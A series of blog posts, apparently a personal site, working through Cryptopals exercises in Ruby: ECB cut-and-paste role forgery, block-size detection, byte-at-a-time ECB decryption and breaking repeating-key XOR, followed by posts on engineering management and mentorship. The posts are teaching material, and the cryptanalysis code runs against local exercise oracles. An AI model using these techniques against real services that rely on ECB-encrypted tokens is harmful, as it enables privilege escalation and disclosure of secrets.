# => {"email"=>"bernardo.amc@gmail.com", "uid"=>"10", "role"=>"user"}

Nothing fancy, we end up with a Hash with keys email, uid and role as expected.

Thought process

A few important things to keep in mind before we start:

We know that the server encodes a value like the following:
- email=our@email.com&uid=10&role=user
We know the block size, which is 16
We know our string is padded with PKCS7 before encryption

I didn’t know anything about this attack before attempting to solve it, but the name of the exercise gives us a hint at how to solve our problem: Cut and Paste Attack

Maybe it is telling us that we need to cut blocks and paste them in a different order?

Plan of Attack

My plan of attack to solve this exercise was to figure out an email length that once encrypted will put the role= and user into different blocks, this way I would be able to maybe cut another block and replace it with the one that has the user value. Let’s see how we can do that:

We know that email= length is 6, so to complete the first block we need 10 more characters.
We know that &uid=10&role= is 13 characters, so we need 3 more characters to complete another block.

So if we send an email that is composed of 13 characters we end up with the following blocks:

Block 0: email=AAAAAAAAAA
Block 1: AAA&uid=10&role=
Block 2: user

The issue with this scenario is that there’s no block we can cut and paste in order to transform our role into admin.

My next attempt was to simply write 16 more characters to create yet another block in-between the email and role blocks, something like:

Block 0: email=AAAAAAAAAA
Block 1: AAAAAAAAAAAAAAAA
Block 2: AAA&uid=10&role=
Block 3: user

This is much better! If we manage to make Block 1 represent “admin”, and we cut and paste it after the role block we can become admin:

Block 0: email=AAAAAAAAAA
Block 2: AAA&uid=10&role=
Block 1: AAAAAAAAAAAAAAAA

We know that Block 1 should yield admin in order to end up with role=admin, but how do we send only admin and nothing else?

admin is 5 bytes long
What do we do with the rest 11 bytes that cannot be used?

That’s when I remembered that we are padding our input with PKCS7, so we can likely exploit this by pretending our first block was padded.

If PKCS7 were to pad our first block we would end up with: admin\v\v\v\v\v\v\v\v\v\v\v. Don’t be confused by the \v character, it is just the visual representation of 11 in ASCII, which is the vertical tab.

Why 11? Because it is the number of bytes we need to pad our block with so it ends up with 16 bytes.

Let’s recap what we want to achieve:

Send 10 characters in order for our first block to be email=<our_10_characters>
Send admin\v\v\v\v\v\v\v\v\v\v\v so we can cut and paste this block
Send 3 more characters so we have <our_3_characters>&uid=10&role=

Combining all of the above we end up with:

Block 0: email=AAAAAAAAAA
Block 1: admin\v\v\v\v\v\v\v\v\v\v\v
Block 2: AAA&uid=10&role=
Block 3: user

After after cutting our Block 1 and pasting it on top of Block 3:

Block 0: email=AAAAAAAAAA
Block 2: AAA&uid=10&role=
Block 1: admin\v\v\v\v\v\v\v\v\v\v\v

Let’s see this in Ruby:

input = "AAAAAAAAAAadmin\v\v\v\v\v\v\v\v\v\v\vAAA"
ciphertext = encrypt_profile(profile_for(input).bytes)

block0 = ciphertext.slice(0, 16)
block1 = ciphertext.slice(16, 16)
block2 = ciphertext.slice(32, 16)
ciphertext = block0 + block2 + block1

profile = decrypt_profile(ciphertext)

puts profile
# => {"email"=>"AAAAAAAAAAAAA", "uid"=>"10", "role"=>"admin"}

And we have reached the end of our exercise! Congratulations, take a moment to be proud of what you have achieved and I hope you are looking forward to the next posts as much as I am. :)

Discovering ECB block sizes

Sat, 03 Jul 2021 16:35:00 GMT

Building up on our previous ECB decryption post we will be figuring out one of the missing pieces of the challenge.

Given a prefix controlled message padded with PKCS7 and encrypted with ECB , how do we figure out the block size?

We barely touched upon PKCS7 and this this seems like a good opportunity to go over it. PKCS7 is a padding algorithm that allow us to encrypt irregularly-sized messages, or in less fancy terms, it allows us to encrypt messages that don’t have a length that is a multiple of our block size.

The algorithm works like the following per the spec:

       01 -- if l mod k = k-1
    02 02 -- if l mod k = k-2
        .
        .
        .
k k ... k k -- if l mod k = 0

The padding can be removed unambiguously since all input is
padded and no padding string is a suffix of another.

Let’s use an example to make things clearer. Suppose the last block of our message is [97, 98] and the block size is 4.

Using l mod k we end up with 2 mod 4 = 2
- l is the size of our last block ([97, 98]), which is 2
- k is our block size, which is 4
Now we know that we have to pad the last block with two bytes, so the end result is:
- [97, 98, 2, 2]

There’s one detail that a lot of folks miss. When the size of the last block is already correct the algorithm above adds a new block to the end as padding. So when we have the last block as [97, 98, 99, 100] and our block size is 4 we will end up with:

Using l mod k we end up with 4 mod 4 = 0
When the result is zero we pad a full block size, so we end up with:
- [97, 98, 99, 100] and [4, 4, 4, 4]

Let’s implement it in Ruby:

# See https://tools.ietf.org/html/rfc2315#section-10.3
def pkcs7_pad(message:, block_size:)
  raise 'Invalid block size' if block_size >= 256 # as per the PKCS7 spec

  size = block_size - (message.size % block_size)
  padding = Array.new(size, size)
  message + padding
end

message = 'ab'.bytes
puts pkcs7_pad(message: message, block_size: 4).inspect
# => [97, 98, 2, 2]

message = 'abcd'.bytes
puts pkcs7_pad(message: message, block_size: 4).inspect
# => [97, 98, 99, 100, 4, 4, 4, 4]

Figuring out the block size

We will work with the encryption_oracle method from our previous post. Let’s revisit it:

RANDOM_KEY = 16.times.map { rand(0..255) }
UNKNOWN_BUFFER = File.read('unknown_buffer').strip.bytes

def encryption_oracle(prefix)
  # Now we know what this method does :)
  padded_buffer = pkcs7_pad(
    message: prefix + UNKNOWN_BUFFER,
    block_size: 16
  )

  aes_ecb_encrypt(padded_buffer, RANDOM_KEY)
end

The algorithm we will need to implement is:

Feed identical bytes to the encryption_oracle method, one at a time
- Example, start with 1 byte (“A”), then “AA”, then “AAA” and so on.
Every time you do it take note of the first block of the result
Once two prefixes produce the SAME first block we have discovered our block size which is equal to the number of iterations

It’s time for a contrived example!

Contrived example

Suppose our message is composed of [0, 1, 2, 3, 4] and our block size is FOUR, but we don’t know it yet.

Iteration one:

Let’s feed our original message an iteration number of As:
- [41, 0, 1, 2, 3, 4, 2, 2] (the last two bytes came from PKCS7)
Encrypt the value above and store it
Let’s feed our original message an iteration plus one number of As:
- [41, 41, 0, 1, 2, 3, 4, 1] (the last byte came from PKCS7)
Encrypt the value above and store it

Is the first block of steps one and three the same? They are not!

Step 1 first block: [41, 0, 1, 2]
Step 3 first block: [41, 41, 0, 1]

Iteration 2

Let’s feed our original message an iteration number of As:
- [41, 41, 0, 1, 2, 3, 4, 1]
Encrypt the value above and store it
Let’s feed our original message an iteration plus one number of As:
- [41, 41, 41, 0, 1, 2, 3, 4, 4, 4, 4, 4]
Encrypt the value above and store it

Is the first block of steps one and three the same? They are not!

Step 1 first block: [41, 41, 0, 1]
Step 3 first block: [41, 41, 41, 0]

Iteration 3

Let’s feed our original message our iteration number of As:
- [41, 41, 41, 0, 1, 2, 3, 4, 4, 4, 4, 4]
Encrypt the value above and store it
Let’s feed our original message our iteration plus one number of As:
- [41, 41, 41, 41, 0, 1, 2, 3, 4, 3, 3, 3]
Encrypt the value above and store it

Is the first block of steps one and three the same? They are not!

Step 1 first block: [41, 41, 41, 0]
Step 3 first block: [41, 41, 41, 41]

Iteration 4

Let’s feed our original message our iteration number of As:
- [41, 41, 41, 41, 0, 1, 2, 3, 4, 3, 3, 3]
Encrypt the value above and store it
Let’s feed our original message our iteration plus one number of As:
- [41, 41, 41, 41, 41, 0, 1, 2, 3, 4, 2, 2]
Encrypt the value above and store it

Is the first block of steps one and three the same? They are!

Step 1 first block: [41, 41, 41, 41]
Step 3 first block: [41, 41, 41, 41]

We had 4 iterations, so that’s our block size!

Why this work?

It only works because ECB produces the same ciphertext given the same plaintext, and the last two iterations end up producing the same first block since they are the same plaintext (both are [41, 41, 41, 41]).

If ECB didn’t produce the same ciphertext we would have no way to compare whether both blocks are the same or not.

Implementation

BYTE = 'A'.ord # 41

def infer_block_size
  (1..256).each do |count|
    iteration_0 = encryption_oracle(Array.new(count, BYTE))
    iteration_1 = encryption_oracle(Array.new(count + 1, BYTE))

    if iteration_0.slice(0, count) == iteration_1.slice(0, count)
      return count
    end
  end
end

And we have reached the end of our exercise! Congratulations, take a moment to be proud of what you have achieved and I hope you are looking forward to the next posts as much as I am. :)

ECB decryption (Simple)

Sun, 27 Jun 2021 12:35:00 GMT

In this post we will investigate the byte-at-a-time ECB decryption exercise from Cryptopals. I highly recommend attempting the previous exercises yourself as they do a great job ramping up your knowledge on the subject.

Goal

The goal of this exercise is to figure out the contents of an unknown message that we know that will be encrypted under ECB.

The only thing we control in this exercise is the fact that we can add a prefix to this unknown buffer before encryption.

To make this exercise more relatable we can think of a web server performing an operation like:

Get our username (we control that)
Concatenate it with something that is under the server control, let’s say ;admin=false;
After steps 1 and 2 the server will encrypt something like: our_provided_name;admin=false;
The server surfaces the encrypted value as a cookie

Our goal is discover that the server is appending ;admin=false; to our provided input.

This could be translated in Ruby as:

# Generating a random 16-bytes key to encrypt our unknown message with.
# We can think of this key as something the web server holds.
RANDOM_KEY = 16.times.map { rand(0..255) }

# The ;admin=false; in our example above
UNKNOWN_BUFFER = File.read('unknown_buffer').strip

def encryption_oracle(controlled_buffer)
  # Ignore this PKCS7_PAD function, all it does for our purposes in guarantee
  # that our message is a multiple of 16 bytes. We will understand the reason behind
  # this in the "ECB Encryption" section.
  padded_buffer = pkcs7_pad(
    controlled_buffer + UNKNOWN_BUFFER,
    16
  )

  # Our ECB encryption using our RANDOM KEY
  # We will implement this method below.
  aes_ecb_encrypt(padded_buffer, RANDOM_KEY)
end

ECB Encryption

Let’s see what ECB encryption actually is visually and talk about the reasons why encrypting things with ECB is not considered secure.

According to the image above we have a plaintext (message) that we want to encrypt, and what the algorithm does is:

Split our plaintext in blocks of 8 or 16 bytes, we will be using 16 bytes for our example
Encrypt each of these blocks using a 16-byte key (the same size as our blocks)

This is considered insecure since encrypting the same block will always yield the same ciphertext (encoded block), and due to this characteristic we can observe the following characteristics from observing ciphertexts encrypted under the same key:

Detect if plaintexts are equal or not
Detect if plaintexts share a common prefix
Detect if plaintexts share common substrings (depends on block alignment)
Detect repetitive data in a plaintext

What happens when a plaintext is not a multiple of 16 bytes?

In this case we can use a padding algorithm, a commonly used one is called pkcs7.

Example in Ruby

Let’s use blocks of 16 bytes (128 bit encryption), meaning our message will be split into blocks of 16 bytes each.

We will create two plaintexts that share a common prefix of 16 bytes (the size of a block). What we want to prove is that the first block of each encrypted message will also be the same.

require 'openssl'

KEY = 'supersecretkey?!'
BLOCK_SIZE = 16

def aes_ecb_encrypt(buffer, key)
  raise 'Buffer must be composed of 16-byte chunks' unless (buffer.size % 16).zero?
  cipher = OpenSSL::Cipher.new('AES-128-ECB')
  cipher.encrypt
  cipher.key = key.pack('C*')
  cipher.padding = 0 # we don't want padding in our example
  result = cipher.update(buffer.pack('C*')) + cipher.final
  result.unpack('C*')
end

# The only difference between this method and the one above is the "cipher.decrypt" line.
def aes_ecb_decrypt(buffer, key)
  raise 'Buffer must be composed of 16-byte chunks' unless (buffer.size % 16).zero?
  cipher = OpenSSL::Cipher.new('AES-128-ECB')
  cipher.decrypt
  cipher.key = key.pack('C*')
  cipher.padding = 0 # we don't want padding in our example
  result = cipher.update(buffer.pack('C*')) + cipher.final
  result.unpack('C*')
end

# The first 16 bytes are the same for both plaintexts, which is: "This message has"
plaintext1 = 'This message has lots of content'
plaintext2 = 'This message has amazing content'

encrypted_plaintext1 = aes_ecb_encrypt(
  plaintext1.bytes,
  KEY.bytes
)

# Sanity test so we can be sure our encryption/decryption works
if aes_ecb_decrypt(encrypted_plaintext1, KEY.bytes)
  puts "Decrypting our encryption works!"
end

ciphertext1_first_block = aes_ecb_encrypt(
  plaintext1.bytes,
  KEY.bytes
).slice(0, BLOCK_SIZE)

ciphertext2_first_block = aes_ecb_encrypt(
  plaintext2.bytes,
  KEY.bytes
).slice(0, BLOCK_SIZE)

if ciphertext1_first_block == ciphertext2_first_block
  puts "Encrypting the same plaintext content yields the same ciphertext!"
end

# We can also see that the same plaintext encrypted twice will result in the same ciphertext
first_encryption = aes_ecb_encrypt(
  plaintext1.bytes,
  KEY.bytes
)
second_encryption = aes_ecb_encrypt(
  plaintext1.bytes,
  KEY.bytes
)

if first_encryption == second_encryption
  puts "The same message will always yield the same encrypted result in ECB."
end

Byte-at-a-time ECB decryption

With the knowledge of the algorithm in place, how would we attempt to reverse engineer our unknown message encrypted with ECB?

Let’s recap what we know so far:

Our unknown message will be split into blocks of 16 bytes and each of these blocks will be encrypted under an unknown key
We control the prefix, so we also control whatever our initial blocks will be
- Take a moment to truly understand this statement

It’s time to work with a contrived example. :)

Contrived Example

Assume that:

Our block size is 4 bytes
Our buffer is [0,1,2,3,4,5,6,7] (the message that the server appends and we do not know)

We control our prefix, so let’s add add 3 ‘A’s (block size minus one) to our message. The final string that will be encrypted ends up being:
[A, A, A, 0, 1, 2, 3, 4, 5, 6, 7]

Notice that our first block is [A, A, A, 0] (4 bytes) and we know the first three bytes (our prefix), but we do not know the last byte of this block.

We let the server encrypt this value and take note of it.

With the knowledge that the same block encrypted under the same key produces the same ciphertext we can start our enumeration process. We want to feed to the server the same first block that it encrypted when we sent our three ‘A’s. To do that we need to send our three ‘A’s yet again plus the byte we want to enumerate.

[A, A, A, 0], [A, A, A, 1], [A, A, A, 2] and so on.
- We now store every attempt and compare it with the original encrypted block

By comparing the encrypted value of [A, A, A, 0] (original encryption) with our dictionary we find that the first byte is 0, so it’s time to find the second unknown byte. To do this we need to send two ‘A’s this time instead of three! This is the case since we already know one byte of the buffer, and we want to figure out the second unknown byte. Our output after sending two ‘A’s is:
[A, A, 0, 1, 2, 3, 4, 5, 6, 7]

This means our first block is [A, A, 0, 1] and we again know the first three bytes, so we can enumerate only the last one.

[A, A, 0, 0], [A, A, 0, 1], [A, A, 0, 2] and so on.
- We now store every attempt and compare it with the original encrypted block

By comparing the encrypted value of [A, A, 0, 1] (original encryption) with our dictionary we find that the second byte is 1.

We repeat the process always sending one less ‘A’ until we figure out the first full block of our unknown message, which is composed of the bytes
[0, 1, 2, 3].

It’s time to decode the second block, so let’s send again 3 ‘A’s, ending up with:
[A, A, A, 0, 1, 2, 3, 4, 5, 6, 7].

We are interested in our second block, which is [1, 2, 3, 4] and we know the first three bytes! So we can start our enumeration steps all over again.

We just need to repeat this same process until we have the full string.

Formal algorithm

Craft an input block that is exactly 1 byte short (for instance, if the block size is 8 bytes, make “AAAAAAA”)
Make a dictionary of every possible last byte by feeding different strings to the encryption function; for instance, “AAAAAAAA”, “AAAAAAAB”, “AAAAAAAC”, remembering the first block of each invocation.
Match the output of the one-byte-short input to one of the entries in your dictionary. You’ve now discovered the first byte of unknown-string. Repeat for the next byte.

Implementation

KEY_SIZE = 16
RANDOM_KEY = KEY_SIZE.times.map { rand(0..255) }
UNKNOWN_BUFFER = base64_decode(File.read('12.txt').strip)
BYTE = 'A'.ord

def decrypt_byte(target, controlled_prefix, current_block)
  (0..255).each do |byte|
    # Our encryption function from the beginning of our post
    encryption = encryption_oracle(controlled_prefix + [byte])
    return byte if encryption.slice(current_block * KEY_SIZE, KEY_SIZE) == target
  end

  raise "This shouldn't happen!"
end

def decrypt_aes_ecb
  known = []

  UNKNOWN_BUFFER.size.times do
    current_block = known.size / KEY_SIZE
    prefix_size = (KEY_SIZE - known.size - 1) % KEY_SIZE
    prefix = Array.new(prefix_size, BYTE)
    controlled_encryption = encryption_oracle(prefix)

    known << decrypt_byte(
      controlled_encryption.slice(current_block * KEY_SIZE, KEY_SIZE),
      prefix + known,
      current_block
    )
  end

  known
end

puts "Message found!\n\n#{decrypt_aes_ecb.pack('C*')}"

And we have reached the end of our exercise! Congratulations, take a moment to be proud of what you have achieved and I hope you are looking forward to the next posts as much as I am. :)

Repeating-key XOR II

Sun, 20 Jun 2021 18:35:00 GMT

Building up on our previous repeating-key-xor post we will be tackling the exact same problem, but we will assume this time that we do not know the length of our key.

Before we jump into solution mode we will need to figure out how to compute the edit distance, also called Hamming distance, between two strings. This is nothing more than computing the number of differing bits (not bytes) between those strings. This value will help us determine whether we are guessing a good key length or not in the following section.

This can be done by XORing characters of both strings and counting the number of 1 bits in the result. There are two ways that I know of to display the bit representation of a string in Ruby:

Using ord.to_s(2)
- 'a'.ord.to_s(2) => "1100001"
Using .unpack('B*')
- 'a'.unpack('B*') => ["01100001"]

So let’s see the hamming distance between the strings ha and co.

ha => [h, o] => ["1101000", "1100001"]
co => [c, o] => ["1100011", "1101111"]

Between h and c we have 3 bits that are different.
Between a and o we also have 3 bits that are different.

Given that, the Hamming distance between those two strings is 6.

Let’s automate that using Ruby.

def hamming(s1, s2)
  raise 'Both strings should have the same length' if s1.size != s2.size

  s1.size.times.reduce(0) do |total, index|
    xor_result = s1[index].ord ^ s2[index].ord
    total += xor_result.to_s(2).count('1')
  end
end

puts hamming('ha', 'co') # 6

With that out of the way we can start working on figuring out the key length.

Figuring out the key length

The intuition here is that the Hamming distance between blocks XORed by the same key should be relatively low when compared to blocks XORed by different keys. Intuitively this makes sense since we will have less differing bits in average.

If the statement above is confusing it helps to remember that XORing equal strings yields only zero bits and XORing similar strings yields a low number, which corresponds to a low number of 1s in its binary representation. Investigating XOR properties might help with the intuition.

Now let’s see what we mean by blocks in our initial statement with a visual example:

Buffer: THIS_MESSAGE_IS_UNREADABLE!_:)
Key: SECRET

This message will be XORed like:

T|H|I|S|_|M|E|S|S|A|G|E|_|I|S|_|U|N|R|E|A|D|A|B|L|E|!|_|:|)|
S|E|C|R|E|T|S|E|C|R|E|T|S|E|C|R|E|T|S|E|C|R|E|T|S|E|C|R|E|T|
-----------|-----------|-----------|-----------|-----------|
--BLOCK 1--|--BLOCK 2--|--BLOCK 3--|--BLOCK 4--|--BLOCK 5--|

So each block has KEY size characters, in this case 5 characters since that’s the length of our KEY.

Ultimately we will still need to guess our key length. All this algorithm really does is to provide us with a few good guesses so we can run the algorithm detailed in our previous post with the best guesses that we generate.

Let’s formalize our algorithm:

Iterate through KEY sizes from 2 to 40 (we are assuming our keys have at maximum 40 bytes in this example)
For each KEY size:
- take the first KEY size worth of bytes (first block) from our encoded message
- take the second KEY size worth of bytes (second block) from our encoded message
- compute the hamming distance between these two
- normalize this result by dividing by the KEY size.
Repeat step 2 with the second and third KEY size worth of bytes (second and third blocks).
Repeat step 2 with the third and fourth KEY size worth of bytes (third and fourth blocks).
Sum the values from steps two to four and divide the result by three (averaging the result).
Store the result somewhere
After the score for every KEY size is calculated, return the lowest three values.

This is one of the cases where reading the source code is actually easier than reading the specification, so let’s implement it in Ruby:

# Trying keys between 2 and 40 characters
KEY_LEN_RANGE = (2..40)

Key = Struct.new(:distance, :len, keyword_init: true) do
  def key_sort(other)
    distance <=> other.distance
  end
end

def find_key_candidates(buffer)
# Step 1 and Step 6 (storing in an Array)
  keys = KEY_LEN_RANGE.map do |key_len|
    c1 = buffer.slice(0, key_len)
    c2 = buffer.slice(key_len, key_len)
    c3 = buffer.slice(key_len * 2, key_len)
    c4 = buffer.slice(key_len * 3, key_len)

    # Step 2
    d1 = hamming(c1, c2) / key_len.to_f
    # Step 3
    d2 = hamming(c2, c3) / key_len.to_f
    # Step 4
    d3 = hamming(c3, c4) / key_len.to_f

    # Step 5
    distance = (d1 + d2 + d3) / 3.0

    Key.new(distance: distance, len: key_len)
  end

  # Step 7
  keys.sort(&:key_sort).first(3)
end

What now?

Now we can run the algorithm implemented in our previous post and output the results to see which one yields the best decryption.

We should run it with a small modification, which is:

candidates = find_key_candidates(encoded_message)

keys = candidates.map do |candidate|
  # Algorithm from previous post
end

decoded_results = keys.map do |key|
  repeating_key_xor(encoded_message, key.bytes).pack('C*')
end

puts decoded_results.inspect

# We can also output the result that resembles English the most.
puts decoded_results.max_by { |r| english_score(r) }

And we have reached the end of our exercise! By this point we should have all the tools we need to break the repeating-key XOR algorithm regardless if we know the key length or not.

Repeating-key XOR

Sat, 12 Jun 2021 18:35:00 GMT

In this post we will learn what repeating-key XOR is, followed by learning how to implement it and by the end of it we will have the knowledge we need to reverse engineer the algorithm.

How does repeating-key XOR work?

As the name implies, the idea behind this algorithm is repetition, but let’s start from the beginning.

In order to perform this algorithm we need the following things in place:

A key to XOR our message with
A buffer of bytes representing our message

The algorithm consists of the following steps:

Sequentially XOR each byte of the key with the corresponding byte of the message
When we exhaust the bytes in our key we simply repeat it

I find it helpful to visually represent these operations, so let’s work with an example!

Suppose our key is ZAP and our message is WEIRDMSG. The algorithm would be performed in the following order:

Key	Operation	Byte
Z	XOR	W
A	XOR	E
P	XOR	I
Z	XOR	R
A	XOR	D
P	XOR	M
Z	XOR	S
A	XOR	G

Implementation

With the intuition in place, let’s build this. We will be using Ruby for this task, but any other programming language would suffice.

# Remember that we need to XOR bytes, not characters.
KEY = 'ZAP'.bytes # [90, 65, 80]
MESSAGE = 'WEIRDMSG'.bytes # [87, 69, 73, 82, 68, 77, 83, 71]

def repeating_key_xor(buffer, key)
  key_size = key.size

  buffer.map.with_index(0) do |byte, index|
    byte ^ key[index % key_size]
  end
end

puts repeating_key_xor(MESSAGE, KEY).inspect
# [13, 4, 25, 8, 5, 29, 9, 6]

Reverse engineering a message encoded with repeating-key XOR

Now that we know how to implement the algorithm, how would we reverse engineer it?

Let’s assume we have the following:

Encoded message
We know the message is in English
Key length is known (we can figure the length if we didn’t have it, but we will leave this part for a future exercise)

The intuition behind solving this problem is that we know which bytes from the key were XORed with which bytes from the message! Using our example from above we have the following distribution:

Key byte	Blocks
Z	[W, R, S]
A	[E, D, G]
P	[I, M]

It’s worth repeating, each block was XORed using the same byte.

Knowing the above and that the message is in English allows us to start guessing which bytes were XORed with the message! Ideally when we XOR our guess with the encoded message it will output something similar to English.

So we have a plan:

For each block, the single-byte XOR key that produces the best looking English letter histogram is the repeating-key XOR key byte for that block
Put the single-byte found for each block together and we have our key

Why does this work?

Most languages can be represented as a letter frequency table, which is the number of times letters of the alphabet appear on average in the written language. By comparing our decoded message using the guessed byte against this table we can be reasonably sure when our guessed byte results in something resembling English.

With this intuition in place, let’s see the full algorithm:

Break the encoded message (ciphertext) into blocks of key size length
- Remember to pad the last block so it ends up having the same length of every other block
Now transpose the blocks: make a block that is the first byte of every block, and a block that is the second byte of every block, and so on. This will resemble the table used in our ZAP example
Fetch the byte that produces the best score for each block (a byte has 8 bits, so it’s value can go from 0 up to 255)
Put the derived byte for each block together and we have our key

Reverse engineering implementation

# In real life we wouldn't know the PLAINTEXT or the KEY, but it's useful to compare the output of our algorithm with the real PLAINTEXT.
PLAINTEXT = <<-PLAINTEXT
It’s Cuz of that !W#$ ‘pizza’ that everyone down here is suffering. – Barret Wallace
It’s like this train. It can’t run anywhere except where its rails take it. – Cloud Strife
Words aren’t the only thing that tell people what you’re thinking. – Tifa Lockheart
What you pursue will be yours, but you will lose something dear - Cait Sith/Reeve Tuesti
Our battlefield is now beneath the earth...The gate to tomorrow is not the light of heaven, but the darkness of the depths of the earth. - Vincent Valentine
How can there be any meaning in the memory of such a being? What I have shown you is reality. What you remember, that is the illusion. - Sephiroth
I just want to do everything in my power to help. All of you - and the planet. - Aerith Gainsborough
I don't like two-legged things. - Red XIII/Nanaki
Survival can be a matter of luck or skill. And you can't rely on luck. - Cloud Strife
PLAINTEXT
KEY = 'SECRET'.bytes

# The repeating_key_xor method was obtained from the implementation section
ciphertext = repeating_key_xor(PLAINTEXT.bytes, KEY)

# Step 1 of the algorithm
blocks = ciphertext.each_slice(KEY.size).to_a

# Right padding the last block with nils so all blocks have the same length.
# This way we can transpose blocks successfully.
required_padding = blocks.first.size - blocks.last.size
blocks[-1] = blocks.last + Array.new(required_padding, nil)

# Step 2 of the algorithm
# Now we cluster bytes that have been XORed by the same byte together with transpose
# and start our guesswork.
potential_key = blocks.transpose.map do |cluster|
  # Step 3 of the algorithm
  scored_guesses = (0..255).map do |guess|
    result = cluster.compact.map do |b|
      b ^ guess
    end.pack('C*')

    score = english_score(result) # See implementation by the end of the post
    [score, guess]
  end

  # Figuring out the byte that produces the best score, ending step 3.
  scored_guesses.max_by { |score, _| score }.last
end.pack('C*') # The byte packing is step 4, this will produce a string from our bytes.

puts "Potential key: #{potential_key}"

decoded_message = repeating_key_xor(
    ciphertext,
    potential_key.bytes
).pack('C*')

puts "Decoded: #{decoded_message}"

And that’s it!

Attention: If your plaintext is small you will probably need to get something like the top 5 highest scores and test those keys since the algorithm might not have enough data to make the proper decision.

Scoring the plaintext against english

Now it’s time to see what that method english_score is all about! This is likely not the most precise implementation, but it will suffice for our exercise.

ENGLISH_FREQUENCY = {
  ' ' => 0.14,
  'e' => 0.12,
  't' => 0.09,
  'other' => 0.09,
  'a' => 0.08,
  'o' => 0.07,
  'i' => 0.06,
  'n' => 0.06,
  's' => 0.06,
  'h' => 0.06,
  'r' => 0.05,
  'd' => 0.04,
  'l' => 0.04,
  'c' => 0.02,
  'u' => 0.02,
  'm' => 0.02,
  'w' => 0.02,
  'f' => 0.02,
  'g' => 0.02,
  'y' => 0.01,
  'p' => 0.01,
  'b' => 0.01,
  'v' => 0.01,
  'k' => 0.01,
  'j' => 0.01,
  'x' => 0.00,
  'q' => 0.00,
  'z' => 0.00
}.freeze

# Build a letter frequency table from a String
def frequency_table(string)
  frequency = Hash.new { |h,k| h[k] = 0 }
  len = string.size

  string.each_char do |character|
    bucket = ENGLISH_FREQUENCY.key?(character) ? character : 'other'
    frequency[bucket] += 1
  end

  frequency.each { |k,v| frequency[k] = v.to_f / len }

  frequency
end

# The chi-squared test is used to determine whether there
# is a statistically significant difference between the
# expected frequencies and the computed frequencies in our
# English category. A high score means that the text
# is unlikely to be in English.
def chi_squared(expected_frequency, computed_frequency)
  expected_frequency.map do |letter, expected_value|
    computed_value = computed_frequency[letter] || 0
    next 0 if expected_value.zero?
    (expected_value - computed_value) ** 2 / expected_value
  end.sum
end

def english_score(string)
  computed_frequency = frequency_table(string)
  1 / chi_squared(ENGLISH_FREQUENCY, computed_frequency)
end

And we have reached the end of our exercise! I hope it was helpful, if anything is confusing or could be improved please reach out to me on Twitter or by email.

Management during an ambitious team expansion

Fri, 21 May 2021 08:00:00 GMT

There’s something special about working with a small team, alignment comes easy and feeling heard is a norm as opposed to something you have to actively seek or fight for. This is usually a great recipe for success, and before you know it your organization is betting on your product and increasing its visibility. This usually means more hiring, and with hiring the team structure will likely change. From a single manager to multiple managers, and manager of managers, and directors of multiple disciplines. Before you know it you became a product line.

Getting alignment became much harder and we decided to split this big product line into multiple small teams so they can work more or less in isolation, like our original small team that were so successful in the past. But how do we support our new hires? Let’s make sure that every one of these small teams can have at least a senior with plenty of context so they can onboard people successfully.

Our original team ends up being split into multiple teams and the onboarding can progress, but that also means that our development speed across teams slows down since our senior developers will need time to share context and ramp up new hires. This is fine, right? But with high visibility and buy-in from the organization comes more pressure to perform and leadership (remember all those managers and directors?) are pressured to deliver more ambitious projects. Not happy with the slow down in development speed leadership decides to micro optimize.

This feature needs to be delivered in two weeks and we have this next project lined up that should be done in a month. This shouldn’t take more than one developer to tackle and half a developer to help review

This drives the sense of belonging within the team down and the stress up, we soon notice people mentioning that they need to take a break after a certain deadline passes or that people are not taking breaks at all. We also notice that the cross team communication is suffering with every team member focused on their own deadlines and timelines. People are now fighting to seek alignment and feel heard.

As a manager, what should you be aware of in this hypothetical situation?

Be aware of team micro optimizations

Few things are more demotivating for a team member than to work alone in a project while being remote, the sense of belonging deteriorates quite fast. This might yield faster results in the short term, but we are compromising our team in the long term. It’s equally important to pay attention when people are shifting around small features and projects regularly since this doesn’t give them the opportunity to feel like they are part of a single team.

Pay attention to lined up projects

It’s important for a team to have a solid and clear roadmap, but making it too time constrained becomes problematic when the team doesn’t have time to learn from a project launch and refactor or fix existing issues within the codebase. A project is not considered done if there’s no documentation for it and the code is not in a good state. Again, moving a bit slower will help us move faster in the long run.

The business will always require more, but the team comes first.

Pay attention to knowledge silos

Having multiple teams being able to tackle things simultaneously is a blessing, but it’s also a recipe for knowledge silos. As managers it’s our job to build a culture that values and recognizes knowledge sharing and that also treats documentation as a first party citizen.

Pay attention when hiring faster than the time it takes to onboard new hires

At some point your team will reach a situation where every developer with context is already onboarding one or more new hires. At this point it’s highly recommended to push back on hiring while the team normalizes their level of context. Having an idea of how long a developer or senior developer takes to be productive on a codebase helps to guide the hiring speed.

Create conditions for success

Improve relationships, improve your tools and systems, improve your communication. The team from today should be better than the one from yesterday.

Pay attention to growth opportunities

Listen to your team members and try to manage and fulfill your team’s expectations. Having a clear picture of which challenges people are eager to face and matching these challenges with the right people goes a long way to keep the team engaged and performant. If you don’t know what someone is aiming for within your team you should ask that person right now.

Be careful when you share your technical ideas

This is a subtle concept, but one worth paying attention to. As someone that is part of leadership your voice tends to carry a certain weight, and building a team comfortable enough to challenge you is not a given. By sharing a technical proposal you might be taking space from your peers to think critically about a certain problem from the ground up. Try instead to detail the current status of the system, the existing constraints and our goals and help the team to think and come up with their own solution. Ultimately the team will be responsible for maintaining that code or architecture.

Technical mentorship

Mon, 03 May 2021 18:00:00 GMT

Over our career we constantly find ourselves in positions where we can act as mentors or mentees in a formal or informal capacity. The way we choose to approach this situation sets ourselves up for successful relationships and career opportunities, or not.

Given that this is a recurring topic among teams I’ve managed and worked with, this seems like a good opportunity to discuss how I approach mentorship and maybe structure my thought process into actionable steps. At the end of this post I hope we have a formalized set of items to act upon.

Disclaimers

Mentorship can happen in a formal way, but it can also happen informally when you are working with your peers and sharing something new you have learned, or a behaviour that you’ve observed. Don’t let those moments pass without action, sharing is a great way of building trust and a healthy team.

Mentorship is a mutually beneficial relationship, both the mentor and mentee should learn along the way.

This is based on my current observations and is not supposed to be interpreted as the way to do things. If you have a different idea of what a good mentorship is please share.

Pre-requisites

More often than not I end up learning when mentoring, it is not expected that you should know everything about one or more topics before you can become a mentor. That being said, it is helpful to have relevant expertise over the topic you are planning to mentor on.

It is helpful to be a few years ahead in your career compared to your mentee, but not so many as to lose touch of how you felt when you were learning that particular topic. You should be able to relate to your mentee, and vice-versa.

Getting to know your mentee:

Before even starting I find it helpful to get to know the person you are entering this relationship with. It doesn’t need to be something personal, but knowing the answer to the following questions has helped me before.

What’s your favourite way to communicate? (Email, Slack, Video)
What’s your preferred way to learn? (Books, Videos, Problem Solving, Pairing)
